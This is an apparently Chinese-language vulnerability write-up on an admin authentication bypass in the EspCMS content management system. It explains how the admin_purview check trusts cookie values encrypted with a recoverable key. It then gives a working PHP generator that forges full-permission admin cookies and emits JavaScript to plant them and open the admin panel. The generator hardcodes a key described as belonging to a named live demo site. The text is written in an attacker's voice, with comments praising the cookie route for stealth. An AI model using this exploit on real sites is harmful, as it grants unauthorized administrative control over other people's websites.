之前4月13日在360的漏洞平台提交过一次,当时给出了能计算出db_pscode的利用工具。db_pscode是安装的时候随机生成的一个字符串常量,保存在配置文件里。4月22日,官方发布了新版本,改进了程序安装时候生成db_pscode的方法,修复了该漏洞。其实官方只是防住了
先看一下EspCMS后台的验证流程
管理的主界面important类的构造函数:
<?php //adminsoft/management.php class important extends connector { function important() { $this->softbase(true); //构造函数调用了父类中的softbase函数,softbase函数又调用了admin_purview函数来验证登录状态 } --- //父类 connector中的softbase函数 // public/class_connector.php class connector { function softbase($admin_purview = false) { header("Content-Type: text/html; charset=utf-8"); $this->dbmysql(); $this->commandinc(); $this->systemfile(); $this->cachedb(); if ($admin_purview) { $this->admin_purview(); //这里会验证管理员是否已经登录 $this->sitelng = $this->getlng(); $action = $this->fun->accept('action', 'R'); if (in_array($action, $this->esp_powerlist) && !in_array('all', $this->esp_powerlist)) { exit('Permissions errors'); //$this->esp_powerlist权限列表 这里设置成all就ok了 } } ..... // public/class_connector.php function admin_purview() { if ($this->fun->accept('archive', 'R') == 'filemanage' && $this->fun->accept('action', 'R') == 'batupfilesave') { $ecisp_admininfo = $this->fun->accept('ecisp_admininfo', 'G'); $esp_powerlist = $this->fun->accept('esp_powerlist', 'G'); $gettype = false; } else { $ecisp_admininfo = $this->fun->accept('ecisp_admininfo', 'C'); $esp_powerlist = $this->fun->accept('esp_powerlist', 'C'); $gettype = true; //上面的两个数据可以从 cookie 和get的参数中获取 //我们还是直接从cookie入手吧,一是隐蔽啊,来无影去无踪,二是能保存参数值 //$esp_powerlist 是权限列表 我们让这里 解码后是 all 也就是拥有所有权限的管理员 //$ecisp_admininfo保存着管理员的一些信息 } //下面的db_pscode 我们已经能够控制了,$ecisp_admininfo我们可以自己构造,进一步控制 $arr_purview 和 $this->esp_powerlist $arr_purview = explode('|', $this->fun->eccode($ecisp_admininfo, 'DECODE', db_pscode)); $this->esp_powerlist = explode('|', $this->fun->eccode($esp_powerlist, 'DECODE', db_pscode)); // "1|c4rp3nt3r|12345678901234567890123456789012|md5('Mozilla/5.0 (X11; Linux i686; rv:18.0) Gecko/20100101') |1|management|".ms5('http://scan.hackme.info/espcms/adminsoft/'); list($this->esp_adminuserid, $this->esp_username, $this->esp_password, $this->esp_useragent, $this->esp_powerid, $this->esp_inputclassid, $this->esp_softurl) = $arr_purview; if ($gettype) { //cookie提交的参数 程序就进到这里 只要满足下面的条件 使 $condition = 1; 那么就通过了管理员验证 //这里的问题是所有数据没有再一次进入到数据库验证(如果验证的话估计会产生SQL注入:) //我们构造 $this->esp_username = 'c4rp3nt3r'; $this->esp_adminuserid = '1';$this->esp_softurl是后台地址已知的 if (empty($this->esp_username) || empty($this->esp_adminuserid) || md5(admin_AGENT) != $this->esp_useragent || md5(admin_ClassURL) != $this->esp_softurl) { $condition = 0; } else { $condition = 1; } } else { if (empty($this->esp_username) || empty($this->esp_adminuserid) || md5(admin_ClassURL) != $this->esp_softurl) { $condition = 0; } else { $condition = 1; } } if ($condition == 0) { if ($this->fun->accept('archive', 'R') != 'adminuser' && $this->fun->accept('action', 'R') != 'login') { header('location: index.php?archive=adminuser&action=login'); exit(); } } else { //通过了管理员验证 :-) if ($condition == 1 && $this->fun->accept('point', 'R') == '' && $this->fun->accept('archive', 'R') == '' && $this->fun->accept('action', 'R') == '') { header('location: index.php?archive=management&action=tab&loadfun=mangercenter&out=tabcenter'); exit(); } } }
这里关键是 $this->fun->eccode() 这个函数的解密密钥 db_pscode 的获取了。
通过对比明文和密文可以逆向出这个值:
为了不必要的误会和麻烦,这里就不给出计算db_pscode的具体代码了。说下方法吧:
通过useragent 和 网站根目录网址就能逆向出超过66位的字符串值。
0422后db_pscode长度如果在32位之内也可以通过别的地方如发送验证邮件的地方获得32位的验证码。
总之N多方法。
这里直接给出后台绕过的javascript利用代码的生成代码:
<?php // code by c4rp3nt3r@0x50sec.org $admin_AGENT = $_SERVER['HTTP_USER_AGENT']; ////////////////////////////////////////////////////////////////////// $admin_ClassURL = 'http://demo.ecisp.cn/adminsoft'; $key = "b229c152dsafsdafasfsadfasfdsfcbda220a9c5"; // http://demo.ecisp.cn 这个网站的 db_pscode (20130425) ////////////////////////////////////////////////////////////////////// $powerlist = 'all'; $admininfo = '1|espcmsadmin|cccccccccccccccccccccccccccccccc|'.md5($admin_AGENT).'|1|1|'.md5($admin_ClassURL); $esp_powerlist = eccode($powerlist ,'ENCODE', $key); $ecisp_admininfo = eccode($admininfo, 'ENCODE', $key); $exploit = ''; $exploit = "document.cookie='esp_powerlist=$esp_powerlist';\n"; $exploit .= "document.cookie='ecisp_admininfo=$ecisp_admininfo';\n"; $exploit .= "//alert(document.cookie);\n"; $exploit .= "window.location.href='".$admin_ClassURL."/index.php?archive=management&action=tab&loadfun=mangercenter&out=tabcenter'; \n"; echo "<pre>".$exploit."</pre>"; function eccode($string, $operation = 'DECODE', $key = '@LFK24s224%@safS3s%1f%') { $result = ''; //echo '^'.$key."^\n"; if ($operation == 'ENCODE') { for ($i = 0; $i < strlen($string); $i++) { $char = substr($string, $i, 1); $keychar = substr($key, ($i % strlen($key)) - 1, 1); $char = chr(ord($char) + ord($keychar)); $result.=$char; } $result = base64_encode($result); $result = str_replace(array('+', '/', '='), array('-', '_', ''), $result); } elseif ($operation == 'DECODE') { $data = str_replace(array('-', '_'), array('+', '/'), $string); $mod4 = strlen($data) % 4; if ($mod4) { $data .= substr('====', $mod4); } $string = base64_decode($data); for ($i = 0; $i < strlen($string); $i++) { $char = substr($string, $i, 1); $keychar = substr($key, ($i % strlen($key)) - 1, 1); $char = chr(ord($char) - ord($keychar)); $result.=$char; } } return $result; }